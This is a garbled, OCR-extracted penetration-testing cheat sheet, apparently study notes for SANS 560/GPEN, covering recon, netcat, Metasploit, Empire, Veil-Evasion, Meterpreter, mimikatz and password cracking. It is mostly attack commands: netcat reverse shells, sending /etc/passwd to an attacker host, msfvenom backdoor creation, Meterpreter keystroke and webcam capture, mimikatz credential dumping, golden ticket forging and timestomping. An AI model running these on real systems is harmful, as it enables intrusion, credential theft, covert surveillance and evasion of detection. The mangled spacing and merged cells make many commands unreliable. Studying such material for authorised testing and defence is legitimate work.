

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

General Reco	nn
fping -g	Ping sweep
x.x.x.0	
x.x.x.254	-a

Linux	traceroute	Ontions
LIIIUA	uacciouic	Options

Linux traceroute Opti	ons
-4	Forces IPv4
-6	Forces IPv6, same as traceroute6 command
-I	Uses ICMP echo
-T	Uses TCP SYN
-f <fi -<br="" rst="">_tt l></fi>	Starts from the hop specified instead of 1
-g <ga ay="" tew=""></ga>	Routes packets through the gateway specified instead of the default
-m <ma -="" tls="" x_t=""></ma>	Specifies the maximum number of hops; default is 30
-n	Specifies not to resolve IP address to hostnames
-w <wa it=""></wa>	Specifies the wait time, which can be in seconds or relative to the reply time between hops
-p <po rt=""></po>	Specifies the port

DNS Query	
nslookup	
nslookup -norecurse -	DNS Snooping nonrecursive
type=A google.com DNS_SR -	query
VR_IP	
server [serve rIPaddr or	use specific server
name]	
set type=any	set DNS record type
ls -d [targe t_d omain]	Perform a zone transfer of all
	records for a given domain

DNS Query (cont)	
<pre>ls -d [targe t domain] [> filename]</pre>	Store zone transfer output in a file
view [filename]	view file
dig	
<pre>dig @[name server] [domain name] [record type]</pre>	dig comand syntax
dig +nocom ments @192.1 -	test if allows anonymous
68.1.50 lab.local -t AXFR	zone transfers
set norecurse	no recursive query, RD=0

Netcat	
Flags	
-1	Listen mode (default is client)
-L	Listen harder (Windows only) — Make a persistent listener
-u	UDP mode (defaultis TCP)
-p	Local port (In listen mode, this is port listened connections on. In client mode, this is source port for packets sent.)
-е	Program to execute after connection occurs
<fi -<="" th=""><td></td></fi>	
len -	
ame>	
-n	Don't resolve names
-z	Zero—I/O mode: Don't send any data, just emit packets
-w[N]	Timeout for connects, waits for N seconds
-v	Be verbose, printing when a connectionis made



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Netcat (cont)	
nc -e	executes a command upon connection
-vv	Be verbose, printing when connections are made, dropped, and so on
General	
nc -lvnp XX	Server listen, verbos- ity,noDNS,on port XX
SHELLS	
nc IP PORT -e /bin/bash	Client reverse shell
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f /b in/sh -i	netcat -e alternative example
2>&1 nc \$RHOST \$RPORT >/tmp/f	
On target:	
mknod backpipe p	
nc1 -p [allow ed_ inb oun d_ nc 127.0.0.1 22 1>b ackpipe	port] 0 <b ackpipe="" td="" <="">
Attackers machine to connect:	
ssh login_ nam e@[tar get mac ed_ inb oun d_port]	hine] -p [allow -
A really good explanation for this is on 56	0.3 book, P 152
Send Files	
nc -1 -p 8080 > filename	setup listener and output file
nc -w 3 attackerIP 8080 <	sends file to netcat
/etc/p asswd	listener with 3 secs timeout
Scan ports	
nc -v -n IP port	test 1 port
nc -v -w 2 -z IP_Address	port range
port_range	
echo " " nc -v -n -w1 [targetIP] [port- range]	a port scanner that harvests banners

Netcat (cont)	
<pre>while (true); do no -vv -z -w3 [targe - b_IP] [targe t_port] > /dev/null && echo -e " \x0 7"; sleep 1; done</pre>	Service- is-alive heartbeat
<pre>while `nc -vv -z -w3 [targe t_IP] [targe t_port] > /dev/null`; do echo " - Service is ok"; sleep 1; done; echo " - Service is dead"; echo -e " \x0 7"</pre>	Service- Is-Dead Notifi- cation
alternative	
nc -n -v -l -p 2222 < /tmp/w ina uth.pcap	Setup listener that will send the file
nc.exe -n -v -w3 [YourL inu xIP addr] 2222 >C: \fo lde r\w ina uth.pcap	Client to capture and save the file
TCPDUMP Monitoring	
General	
tcpdump -nnv -i start capturing traffic	
eth0	

TCPDUMP Monitoring	
General	
tcpdump -nnv -i eth0	start capturing traffic
-n	Use numbers instead of names for machines
-nn	Use numbers for machines and ports
-i	Sniff on a particular interface (—D lists interfaces)
-v	Be verbose
-w	Dump packets to a file (use —r to read file later)
-x	Print hex
-X	Print hex and ASCII
-A	Print ASCII
s [snaplen]	Sniff this many bytes from each frame, instead of the defaul



Other Uses

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TCPDUMP | Monitoring (cont)

Protocol:

ether, ip, ip6 , arp, rarp, tcp, udp: protocol type

Type:

host [host]	Only give me packets to or from that host
net [network]	Only packets for a given network
port [portnum]	Only packets for that port
portrange [start -	Only packets in that range of ports
end]	

Direction:

dst

src	Only give me packets from that host or	
	port	

Only give me packets to that host

Use and / or to combine these together

Wrap in parentheses to group elements together

Hashcat

hashcat -m 1800 -a 0 -o	crack Linux SHA512
found1.txt crack1.hash 500_pa -	password with dict
ssw ord s.txt	
hashcatforce -m 13100 -a 0	Crack Kerberos
lab3.h ashcat /path/ to/ Dic -	Service Ticket for
t.txtshow	account password

PowerSploit/PowerView

Invoke	-	Requests service tickets for kerberoast-able
Ke rbe	-	accounts and returns extracted ticket hashes
roast		

Metasploit

Create Handler listener

use exploi t/m ult i/h andler set payload window s/x 64/ met erp ret er/ rev - ers e_https OR window s/m ete rpr ete r/r eve - rse_tcp

set lhost AttackerIP

Metasploit (cont) set lport 443

exploit	- i	- z		Run in ackground

PS Session with valid creds

use	auxili	ary	/ac	l min	/sm	b/p	sex	ec_	command	
set	smbuse	r us	er							
set	rhost v	vict	imIE							
set	smbpass	s P4	\$\$							
set	command	d "	ipc	onfig	or	any	comm	nan	d"	

Create backdoor - recognized by Defender :(

msfvenom -p window s/s hel 1/r eve rse_tcp LHOST=
[Attac kerIP] LPORT=8080 -f exe > /tmp/f ile.exe
msfvenom -p window s/x 64/ met erp ret er_ rev -
ers e_https LHOST= Att ackerIP LPORT=443 -f exe -o
nuned eve

Others

sessions -1	get a list of sessions
sessions -i [N]	interact (-i) with session number [N]
press CTRL-Z	Background session
jobs	get background jobs
<pre>db_import /path/ to/ fil - e/n map.xml</pre>	Import scans from nmap
hosts -m " Windows 10" 192.16 8.1.10	Add comment to host
services -u -p 135,445	Show UP hosts with Lports 135,445
sessions -h	list help for sessions command
sessions -K	kill a session



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MSFDB - Metasploit Database

Empire	
set up an Empire HTTP listener	
usestager window s/l aun c	che r_bat
set Listener http	
execute	
General	
list agents	
interact AGENTID	chose an agent
<pre>download C:\Use rs - \ali ce \Des kto p\s - ome.txt</pre>	transfer file from agentPC
Timestomping	
upload /tmp	upload content from /tmp to actual session directory
usemodule manage men - t/t ime stomp	load timestomp module
set ALL 03/02/2020 5:28 pm	define time to be set in all datetime file properties
<pre>set FilePath bank_1 ogi - n_i nfo rma tio n.txt</pre>	set target file to be tampered
execute	run module
Others	
/opt/E mpi re- mas - ter /do wnl oads/	Empire Download's location
sell powershell Get-Ch - ildItem	Run powershell command
General	
?	Get command suggestions
searchmodule privesc	search for modules
configure a listener	
listeners	getting a list of our listeners
options	options we have for our

Empire (cont)	
set StagingKey [Some_Secret_Value]	configure a custom staging key for encrypting communications
set DefaultDelay 1	time between callbacks from our agent
execute	launch listener
list	check out our listene
deploy an agent	
usestager	create and deploy an agent [space][TAB-TAB] To see available stagers
usestager 1aunch- er_bat	select stager
info	get info for actual stager

Most useful dat	Most useful database commands			
db_connect	Connects to a database			
[conne -				
ct				
string]				
db_dis -	Disconnects from database			
connect				
db_driver	Selects the database type			
db_status	Displays the status of the database			
db_export	Exports database contents into a file, either xml (with hosts,ports, vulnerabilities, and more) or pwdump (with pilfered credentials)			
hosts	Get list of hosts disvcovered			
vulns	Get list of vulns that were found in scanned hosts			

Get list of services running in gained hosts

manually add hosts



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listeners

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services

hosts -add [host]



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MSFDB - Metasploit Database ((cont)
servicesadd -p [port] -r [proto] -s [name] [hostl ,ho - st2 ,]	manually add services running in hosts
<pre>notesadd -t [type] -n '[note _text]' [hostl ,ho st2 ,]</pre>	manually add notes to a host
If you delete a host, any service host_id will also disappear	es and vulns corresponding to that
db_nmapsT 10.10.1 - 0.10pack et- trace	invoke Nmap directly from the msfconsole
db_import [filename]	import data automatically recognizes the file type like Nmap xml, Amap, Nexpose, Qualys, Nessus
hosts -S linux	searching for any hosts associated with linux, -S works for other items (vulns) as well

vulns -p 445	Look for vulnerabilities based on port number
Veil-Evasion	
Start Veil-Evasion	
cd /opt/V eil -Ev asion	/usr/s har e/veil
./Veil -Ev asion .py	
General	
list	get a list of all the different payloads that the tool can generate
<pre>info powers hel l/m - ete rpr ete r/r ev https</pre>	

value

set result as RHOTS variable

Veil-Evasion (cont)	
clean	Clean out any leftover cruft from previous use of Veil-Evasion,
Generate payload	
use info powers hel - l/m ete rpr - ete r/r ev https	select the payload you want to generate
options	list options for actual item
generate	create the payload file
Generated files	
.bat	This is the payload itself
.rc	This is the Metasploit configuration file (also known as a handler file) for a multi/handler waiting for a connection from our payload.
exit	exit Veil-Evasion
/usr/s har - e/v eil -ou - tpu t/s ource	Veil-Evasion output directory

traceroute	
Options	
-f [N]	Set the initial TI'L for the first packet
-g [hostlist]	Specify a loose source route (8 maximum hops)
-I	Use ICMP Echo Request instead of UDP
-T	Use TCP SYN instead of UDP (very useful!),with default dest port 80
-m [N]	Set the maximum number of hops
-n	Print numbers instead of names
-p [port]	port
	For UDP, set the base destination UDP port and increment



hosts -S linux -R

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traceroute (cont) For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing) -w Wait for N seconds before giving up and writing * (default is [N] 5) -4 Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)

-6	Force use	e of IPv6

John the Ripper	
General	
john.pot file	cracked password store
john.rec file	stores john's current status
johnrestore	picks up Where it left off based on the contents of the john.rec file
johntest	Check Speed Of SyStem
john hash.txt	run john against hash.txt file
johnshow	compare which passwords John has already
[passw ord - file]	cracked froma given password file against itsjohn.pot file

Cracking LANMAN Hashes

john /tmp/s -	By default, John will focus on the LANMAN
am.txt	hashes.

Cracking Linux Passwords

cp /etc/p -	copy passwd file to your working directory
asswd	
/tmp/p ass -	
wd_copy	
cp /etc/s -	copy shadow file to your working directory
hadow	
/tmp/s had -	
OW CODY	

John the Ripper (cont)	
./unshadow	Use the unshadow script to combine
passwd _copy	account info from /etc/passwdwith
shadow _copy >	password information from /etc/shadow
combin ed.txt	
john combined. txt	Run John against the combined file
cat ~/.john/john.pot	Look at the Results in john.pot file

pw-inspe	ector (Password Inspector)
-i	input file
- O	output file
-m [n]	the minimum number of characters to use for a password is n
-M [N]	Remove all words longer than N characters
-c [count]	how many password criteria a given word must meet to be included in the list.
-l	The password must contain at least one lowercase character.
-u	The Password must contain at least one uppercase character. (To specify a mixed case requirement, configure —c 2 -l —u.)
-n	The password must contain at least one number
-p	he password must contain at least one printable character that is neither alphabetic nor numeric, whichincludes !@#\$%"&*().
-S	The password must include characters not included in the other lists (such as nonprintable ASCII characters)



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Meterpreter	
Basic commands	
? / help	Display a help menu
exit / quit	Quit the Meterpreter
sysinfo	Show name, OS type
shutdown / reboot	Self—explanatory
reg	read or write to the Registry
File System Commands	
cd	Navigate directory structure
lcd	Change local directories on attacker machine
pwd / getwd	Show the current working directory
ls	List the directory contents, even 4 Windows
cat	Display a file's contents
download / upload	Move a file to or from the machine
mkdir / rmdir	Make or remove directories
edit	Edit a file using default editor
Process Commands	560.3 Page 92
getpid	Returns the process ID that Meterpreter is running in
getuid	Returns the user ID that the Meterpreter is running with
ps ps -S	Process list
notepa d.exe	
kill	Terminate a process
execute -f cmd.exe -c -H	Runs a given program channelized (-c) and hide proccess window (-H)
migrate [desti - nat ion _pr oce - ss_ID]	Jumps to a given destination process ID:

Meterpreter (cont)	
motorprotor (dont)	*Target process must have the same or lesser
	privileges
	*May be a more stable process
	*When inside the process, can access any files that it has a lock on
Network Commands	
ipconfig	show network config
route	Displays routing table, adds/deletes routes
portfwd add -1 1111 -p 22 -r Target2	SANS 560.3 Exploitation Page 67 for better understanding
On-target Machine co	ommands
screenshot -p	SC
[file.jpg]	
idletime	Show how long the user at the console has been idle
uictl [enabl -	Turn on or off user input devices
e/d isable]	
[keybo -	
ard /mouse]	
Webcam and Mic Co	mmands
webcamlist	Lists installed webcams
webcam _snap	Snaps a single frame from the webcam as a JPEG: -Can specify JPEG image quality from 1 to 100, with a default of 50
record_mic	Records audio for N seconds (—d N) and stores in a wav filein the Metasploit .msf4 directory by default
Make sure you get w	ritten permission before activating either feature
Keystroke Logger	



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Meterpreter (cont)	
keysca n_start	poll every 30 milliseconds for keystrokes entered into the system
keysca n_dump	flushes 1 Megabyte of buffer keystrokes captured to attacker's Meterpreter Screen
keysca n_stop	tells the Meterpreter to stop gathering all keystrokes

Pivoting Using Metasploit's Route Command

use [exploit1]

set RHOST [victim1]

set PAYLOAD window s/m ete rpr ete r/r eve rse_tcp

exploit

CTRL-Z background session... will display meterp-

reter sid

route add [victi m2_ subnet]

direct any of its packets for a given target machine or subnet through that Meterpreter session

[netmask] [Sid]
use [exploit2]

set RHOST [victim2]

set PAYLOAD [payloadZ]

exploit

Do not confuse the Metasploit (msf) route command with the Meterpreter route command. The latter is used to manage the routing tables on a target box that has been compromised using the Meterpreter payload. The msf route command is used to direct all traffic for a given target subnet from the attacker's Metasploit machine through a given Meterpreter session on a compromised victim machine to another potential Victim.

Additional Modules

use [modul ename] load additional modules

Others

Meterpreter (cont)	
run schtas ksabuse -c " - [co mma nd1][, com man -	script that automates Win-sc- htasks task creation
d2]" -t [targetIP]	
	Uses Meterpreter's process credentials (add -u and -p for other credentials)
load kiwi	oad the mimikatz Kiwi Meterp- reter extension on the target machine
creds_all	grab credentials

GPG

gpg -d -o <Ou tpu tFi leN ame> <En cry - $\frac{1}{2}$ decrypt a pte dFi leN ame>

OVER-PASS-THE-HASH

- 1. Peform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
- 2. Perform TGS-REQ to KDC to get TGS
- 3. Use TGS to impersonate passw hash owner and use a service

Golden Ticket ATTACK

Requirements

- KDC LT key
- (e.g. KRBTGT NTLM hash)
- · Domain admin account name
- Domain name
- SID of domain admin account

Commands

.\mimikatz kerber os: :golden /admin :AD MIN ACC OUN TNAME /domai n:D OMA INFQDN /id:AC COU NTRID
/sid:D OMA INSID /krbtg t:K RBT GTP ASS WOR DHASH

.\mimikatz kerber os::ptt create a golden ticket from file
file.txt with PTT

kerber os::tgt Get current session ticket
details

kerber os: :list /export Export ticket to a .kirbi file

kerber os::ptt file.kirbi Load/pass the ticket

C

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Requirements	
• /target	target server's FQDN.
• /service	SPN
• /rc4	NTLM hash for the service (computer account or user account)
Steps	
whoami	get domain/SID
invoke -Ke rbe roa st.ps1	get SPN and Service user pass hash for cracking
Mimikatz "privi leg e:: debug"	get Service
"sekur lsa ::l ogo npa ssw ords" exit	password hash w/Mimikatz (if you have access to server hosting Vuln service)
hashcat " " \$kr b5t gs\$ 6\$a cct -	Get unencrypted
\$sv c/H OST :po rt\$ XXX XX XX"" dicti.txt hashcat -m 13100 hash.txt	service password w/hashcat (If we
dicti.txt	didn't get NTLM hash) and hash it to NTLM
<pre>Import -Module DSInte rnals \$pwd =</pre>	Hash cleartext
Conver To- Sec ure String	password to
'P@\$\$w0rd' -AsPla inText -Force	NTLM
Conver tTo -NTHash \$pwd	
mimikatz "kerbe ros ::g olden /admin :Im Admin /id:1106 /domai -	Forge TGS to auth target SVC
n:l ab.a ds ecu rit y.org /sid:S -	
1- 5-2 1-XXXXX /targe t:E XCH ANG -	
E.l ab.l ocal /rc4:N TLMHash	

mi.aa	d . blict . was a gommand to	Auth to
	d; klist; use a command to	local SVC
	to that specific service for	w/creds an
-	Find-I nte res tin gFile -Path	TGS ei:
	er ver 1.d oma in.c om \S\$ \sh -	mimikatz
ares\		
Trolling		
Faking RID	Os	
1106 is "Ar	nakin"	/id:1159
1159 is "Va	ader"	/user:-
		Anakin
Result: Use	er: Anakin Real Context User: Vader	
/group s	:5 12, 513 ,51 8,519	lulz
/id:9999		
/ Ta: 3333		
/user:yo		
,		
,		
/user:yo		
/user:yo	urmom	
/user:yo Mimikatz Command	Reference for tickets attacks	
/user:yo Mimikatz Command /domain	Reference for tickets attacks domain's fqdn	
/user:yo Mimikatz Command /domain /sid	Reference for tickets attacks domain's fqdn SID of the Domain	
/user:yo Mimikatz Command /domain /sid /user	Reference for tickets attacks domain's fqdn SID of the Domain	st is the
/user:yo Mimikatz Command /domain /sid /user /admin	Reference for tickets attacks domain's fqdn SID of the Domain username to impersonate	
/user:yo Mimikatz Command /domain /sid /user /admin /groups	Reference for tickets attacks domain's fqdn SID of the Domain username to impersonate group RIDs the user is a member of (the fir	
/user:yo Mimikatz Command /domain /sid /user /admin /groups	Reference for tickets attacks domain's fqdn SID of the Domain username to impersonate group RIDs the user is a member of (the fir primary group) default: 513,512,520,518,57	19 for the
/user:yo Mimikatz Command /domain /sid /user /admin /groups (optional)	Reference for tickets attacks domain's fqdn SID of the Domain username to impersonate group RIDs the user is a member of (the fir primary group) default: 513,512,520,518,52 well-known Administrator's groups	19 for the
/user:yo Mimikatz Command /domain /sid /user /admin /groups (optional)	Reference for tickets attacks domain's fqdn SID of the Domain username to impersonate group RIDs the user is a member of (the fir primary group) default: 513,512,520,518,57 well-known Administrator's groups provide a path and name for saving the Go	19 for the
/user:yo Mimikatz Command /domain /sid /user /admin /groups (optional)	Reference for tickets attacks domain's fqdn SID of the Domain username to impersonate group RIDs the user is a member of (the fir primary group) default: 513,512,520,518,52 well-known Administrator's groups provide a path and name for saving the Go file to for later use or use /ptt to immediatel	19 for the Iden Ticket y inject the



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Mimikatz (cont)		
/id (optional)	user RID. Mimikatz default is 500 (the default Admin account RID).	
/start - offset (optional)	the start offset when the ticket is available (generally set to -10 or 0 if this option is used). Mimikatz Default value is 0.	
/endin (optional)	ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).	
/renewmax (optional)	maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).	

(10,080 minutes).				
Scapy (Packet crafting)				
GPEN AIO Book - Lab 3-4: Scapy Introductory				
scapy (as root)	starts library			
help(f unc tion)	Get help for specific function			
p = IP()/T CP()/"F oo"	define blank packet			
ls(p)	show packet info			
p.show()	show packet info			
summary	show packet info			
ls(p[Raw])	view just the data			
<pre>p[IP].s rc ="ip add - res "</pre>	set src address			
<pre>p[IP].d st ="ip add - res "</pre>	set dst address			
p[TCP].sp ort ="xx "	set src port			
p[TCP].dp ort ="xx "	set dst port			
p=IP/T CP/DATA	packet structure			

Metadata Analysis	
<pre>./exiftool t/imag es/ Exi - fTo ol.jpg >/r oot /ex if.out</pre>	execute exiftool against the ExifTool.jpg
strings —n 8 file.txt	shows strings only eight characters long
Recon-ng comands for whois_pocs	

Recon-ng comands for whois_pocs			
recon-ng			
market place install all ; exit			
workspaces create demo			
modules load recon/ dom ain s-c ont act s/w hoi - s_pocs			
options set SOURCE exampl e.com			
run			
show contacts			

Cron		
crontab -1	list job entries	
crontab -e	edit job entries	



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